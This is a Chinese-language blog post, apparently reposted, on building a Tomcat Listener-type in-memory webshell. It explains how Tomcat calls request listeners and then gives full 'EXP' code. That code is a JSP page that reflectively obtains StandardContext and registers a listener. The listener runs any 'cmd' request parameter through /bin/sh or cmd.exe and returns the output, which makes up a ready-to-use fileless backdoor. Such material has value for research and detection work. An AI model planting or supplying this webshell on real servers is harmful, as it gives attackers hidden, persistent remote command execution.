Listener記憶體馬
0x01Lintener機制分析
Java Web 開發中的監聽器(Listener)就是 Application、Session 和 Request 三大物件創建、銷毀或者往其中添加、修改、洗掉屬性時自動執行代碼的功能組件,
Listener 三個域物件
ServletContextListener
HttpSessionListener
ServletRequestListener
ServletRequestListener用于監聽ServletRequest的生成和銷毀,也就是當我們訪問任意資源,無論是servlet、jsp還是靜態資源,都會觸發requestInitialized方法,繼續看,在哪個環節,什么時候,哪個地方會呼叫監聽器,相當于這個ServletContextListener,是最常用的那么我們就去用這個試試唄
0x02Listener生成
可以直接用注解配置,也可以在web.xml中配置跟filter一樣配置方法,
0x03Listener分析
知道了這個監聽器的執行方式,那我們就要想著怎么去構建這個物件,還是除錯跟進去看一下,Listener是最先加載的所以我們更到他呼叫方法里面來進行除錯

進來就發現掉了一個函式getApplicationEventListeners()跟進去看看,發現它只是獲取了一個陣列
方法原始碼
private List<Object> applicationEventListenersList = new CopyOnWriteArrayList<>();
然后接著往下呼叫看看

這后面這一塊大概意思就是判斷一下剛剛創建那個Listener陣列是否空,不空然后對request進行處理和呼叫一些額外的引數但是都不是我們看的重點看到后面的一句

這里那個Listener陣列被一個一個呼叫,呼叫后呼叫的是我們自己構造的那個Listener然后就是一長段呼叫我沒找到最好呼叫是啥,看到別的師傅說后面的東西跟Filter有點類似我就沒有再去追了因為到這里就已經知道怎么去構造了
在standardContext里面有個方法addApplicationEventListener

0x04Listener馬構造分析
- 首先我們的惡意代碼要寫到
requestInitialized方法中,這是構造一個惡意的Listener - 然后要去
StandardContext呼叫addApplicationEventListener把我們構造的惡意Listener放進去就

0x05開始撰寫EXP
0x1撰寫惡意Listener
if (cmd!=null){
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(inputStream).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
Field request1 = servletRequest.getClass().getDeclaredField("request");
request1.setAccessible(true);
Request request2 = (Request) request1.get(servletRequest);
request2.getResponse().getWriter().write(output);
}
0x2獲取StandardContext
回圈獲取StandardContext(這個方法是我沒想到的)
ServletContext servletContext = req.getServletContext();
StandardContext o = null;
while (o == null) { //回圈從servletContext中取出StandardContext
Field field = servletContext.getClass().getDeclaredField("context");
field.setAccessible(true);
Object o1 = field.get(servletContext);
if (o1 instanceof ServletContext) {
servletContext = (ServletContext) o1;
} else if (o1 instanceof StandardContext) {
o = (StandardContext) o1;
}
0x3整體EXP
<%--
Created by IntelliJ IDEA.
User: White_room
Date: 2022/12/2
Time: 15:40
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%!
public class AddTomcatListener extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
//回圈獲取StandContext
ServletContext servletContext = req.getServletContext();
StandardContext o = null;
while (o == null) {
Field field = servletContext.getClass().getDeclaredField("context");
field.setAccessible(true);
Object o1 = field.get(servletContext);
if (o1 instanceof ServletContext) {
servletContext = (ServletContext) o1;
} else if (o1 instanceof StandardContext) {
o = (StandardContext) o1;
}
}
System.out.println(o);
Mylistener mylistener = new Mylistener();
//添加listener
o.addApplicationEventListener(mylistener);
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
}
class Mylistener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
ServletRequest request = servletRequestEvent.getServletRequest();
if (request.getParameter("cmd") != null) {
try {
String cmd = request.getParameter("cmd");
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(inputStream).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
Field request1 = request.getClass().getDeclaredField("request");
request1.setAccessible(true);
Request request2 = (Request) request1.get(request);
request2.getResponse().getWriter().write(output);
} catch (IOException e) {
e.printStackTrace();
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
}
}
%>
</body>
</html>
0x06小結
相對于 Filter 型記憶體馬來說,Listener 型記憶體馬的實作更為簡易的多,可以把 Listener 型記憶體馬需要實作的步驟看成是 Filter 型記憶體馬的一部分,直接在Listeners中直接加個listener中就行了,不用去寫組態檔,
轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/539495.html
標籤:其他
下一篇:<五>function的實作原理
